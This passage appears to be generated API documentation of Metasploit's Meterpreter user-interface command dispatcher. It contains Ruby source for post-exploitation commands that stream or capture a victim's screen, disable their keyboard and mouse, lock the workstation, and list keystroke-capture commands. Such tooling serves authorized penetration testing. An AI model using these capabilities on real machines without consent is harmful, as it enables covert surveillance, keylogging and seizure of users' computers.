  }

  print_status("Preparing player...")
  html = stream_html_template('screenshare', client.sock.peerhost, stream_path)
  ::File.open(player_path, 'wb') do |f|
    f.write(html)
  end

  path = ::File.expand_path(player_path)
  if view
    print_status("Opening player at: #{path}")
    Rex::Compat.open_file(path)
  else
    print_status("Please open the player manually with a browser: #{path}")
  end

  print_status("Streaming...")
  begin
    ::Timeout.timeout(duration) do
      while client do
        data = client.ui.screenshot( quality )

        if data
          ::File.open(stream_path, 'wb') do |f|
            f.write(data)
          end
          data = nil
        end
      end
    end
  rescue ::Timeout::Error
  end

  print_status("Stopped")

  return true
end

#cmd_screenshot(*args) ⇒ Object

Grab a screenshot of the current interactive desktop.



150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 150

def cmd_screenshot(*args)
  path    = Rex::Text.rand_text_alpha(8) + ".jpeg"
  quality = 50
  view    = false

  screenshot_opts = Rex::Parser::Arguments.new(
    "-h" => [ false, "Help Banner." ],
    "-q" => [ true, "The JPEG image quality (Default: '#{quality}')" ],
    "-p" => [ true, "The JPEG image path (Default: '#{path}')" ],
    "-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ]
  )

  screenshot_opts.parse(args) { | opt, idx, val |
    case opt
      when "-h"
        print_line("Usage: screenshot [options]\n")
        print_line("Grab a screenshot of the current interactive desktop.")
        print_line(screenshot_opts.usage)
        return
      when "-q"
        quality = val.to_i
      when "-p"
        path = val
      when "-v"
        view = true if (val =~ /^(t|y|1)/i)
    end
  }

  data = client.ui.screenshot(quality)

  if data
    ::File.open(path, 'wb') do |fd|
      fd.write(data)
    end

    path = ::File.expand_path(path)

    print_line("Screenshot saved to: #{path}")

    Rex::Compat.open_file(path) if view
  else
    print_error("No screenshot data was returned.")
    if client.platform == 'android'
      print_error("With Android, the screenshot command can only capture the host application. If this payload is hosted in an app without a user interface (default behavior), it cannot take screenshots at all.")
    end
  end

  return true
end

#cmd_setdesktop(*args) ⇒ Object

Change the meterpreters current desktop.



323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 323

def cmd_setdesktop(*args)

  switch   = false
  dsession = -1
  dstation = 'WinSta0'
  dname    = 'Default'

  setdesktop_opts = Rex::Parser::Arguments.new(
    "-h" => [ false, "Help Banner." ],
    #"-s" => [ true, "The session (Default: '#{dsession}')" ],
    "-w" => [ true, "The window station (Default: '#{dstation}')" ],
    "-n" => [ true, "The desktop name (Default: '#{dname}')" ],
    "-i" => [ true, "Set this desktop as the interactive desktop (Default: '#{switch}')" ]
  )

  setdesktop_opts.parse(args) { | opt, idx, val |
    case opt
      when "-h"
        print_line("Usage: setdesktop [options]\n")
        print_line("Change the meterpreters current desktop.")
        print_line(setdesktop_opts.usage)
        return
      #when "-s"
      #  dsession = val.to_i
      when "-w"
        dstation = val
      when "-n"
        dname = val
      when "-i"
        switch = true if (val =~ /^(t|y|1)/i)
    end
  }

  if client.ui.set_desktop(dsession, dstation, dname, switch)
    print_line("#{ switch ? 'Switched' : 'Changed' } to desktop #{dstation}\\#{dname}")
  else
    print_line("Failed to #{ switch ? 'switch' : 'change' } to desktop #{dstation}\\#{dname}")
  end

  return true
end

#cmd_uictl(*args) ⇒ Object

Enables/disables user interface mice and keyboards on the remote machine.



88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 88

def cmd_uictl(*args)
  if (args.length < 2)
    print_line(
      "Usage: uictl [enable/disable] [keyboard/mouse/all]")
    return true
  end

  case args[0]
    when 'enable'
      case args[1]
        when 'keyboard'
          print_line("Enabling keyboard...")
          client.ui.enable_keyboard
        when 'mouse'
          print_line("Enabling mouse...")
          client.ui.enable_mouse
        when 'all'
          print_line("Enabling all...")
          client.ui.enable_keyboard
          client.ui.enable_mouse
        else
          print_error("Unsupported user interface device: #{args[1]}")
      end
    when 'disable'
      case args[1]
        when 'keyboard'
          print_line("Disabling keyboard...")
          client.ui.disable_keyboard
        when 'mouse'
          print_line("Disabling mouse...")
          client.ui.disable_mouse
        when 'all'
          print_line("Disabling all...")
          client.ui.disable_keyboard
          client.ui.disable_mouse
        else
          print_error("Unsupported user interface device: #{args[1]}")
      end
    else
      print_error("Unsupported command: #{args[0]}")
  end

  return true
end

#cmd_uictl_tabs(str, words) ⇒ Object

Tab completion for the uictl command



136
137
138
139
140
141
142
143
144
145
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 136

def cmd_uictl_tabs(str, words)
  return %w[enable disable] if words.length == 1

  case words[-1]
  when 'enable', 'disable'
    return %w[keyboard mouse all]
  end

  []
end

#cmd_unlockdesktop(*args) ⇒ Object

Unlock or lock the desktop



368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 368

def cmd_unlockdesktop(*args)
  mode = 0
  if args.length > 0
    mode = args[0].to_i
  end

  if mode == 0
    print_line("Unlocking the workstation...")
    client.ui.unlock_desktop(true)
  else
    print_line("Locking the workstation...")
    client.ui.unlock_desktop(false)
  end

  return true
end

#commandsObject

List of supported commands.



26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 26

def commands
  all = {
    'enumdesktops'  => 'List all accessible desktops and window stations',
    'getdesktop'    => 'Get the current meterpreter desktop',
    'idletime'      => 'Returns the number of seconds the remote user has been idle',
    'keyscan_dump'  => 'Dump the keystroke buffer',
    'keyscan_start' => 'Start capturing keystrokes',
    'keyscan_stop'  => 'Stop capturing keystrokes',
    'keyboard_send' => 'Send keystrokes',
    'keyevent'      => 'Send key events',
    'mouse'         => 'Send mouse events',
    'screenshot'    => 'Grab a screenshot of the interactive desktop',
    'screenshare'   => 'Watch the remote user desktop in real time',
    'setdesktop'    => 'Change the meterpreters current desktop',
    'uictl'         => 'Control some of the user interface components'
    #  not working yet
    # 'unlockdesktop' => 'Unlock or lock the workstation (must be inside winlogon.exe)',
  }

  reqs = {
    'enumdesktops'  => [COMMAND_ID_STDAPI_UI_DESKTOP_ENUM],
    'getdesktop'    => [COMMAND_ID_STDAPI_UI_DESKTOP_GET],
    'idletime'      => [COMMAND_ID_STDAPI_UI_GET_IDLE_TIME],
    'keyscan_dump'  => [COMMAND_ID_STDAPI_UI_GET_KEYS_UTF8],
    'keyscan_start' => [COMMAND_ID_STDAPI_UI_START_KEYSCAN],
    'keyscan_stop'  => [COMMAND_ID_STDAPI_UI_STOP_KEYSCAN],
    'keyevent'      => [COMMAND_ID_STDAPI_UI_SEND_KEYEVENT],
    'keyboard_send' => [COMMAND_ID_STDAPI_UI_SEND_KEYS],
    'mouse'         => [COMMAND_ID_STDAPI_UI_SEND_MOUSE],
    'screenshot'    => [COMMAND_ID_STDAPI_UI_DESKTOP_SCREENSHOT],
    'screenshare'   => [COMMAND_ID_STDAPI_UI_DESKTOP_SCREENSHOT],
    'setdesktop'    => [COMMAND_ID_STDAPI_UI_DESKTOP_SET],
    'uictl'         => [
      COMMAND_ID_STDAPI_UI_ENABLE_MOUSE,
      COMMAND_ID_STDAPI_UI_ENABLE_KEYBOARD
    ]
  }
  filter_commands(all, reqs)
end

#nameObject

Name for this dispatcher.



69
70
71
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 69

def name
  'Stdapi: User interface'
end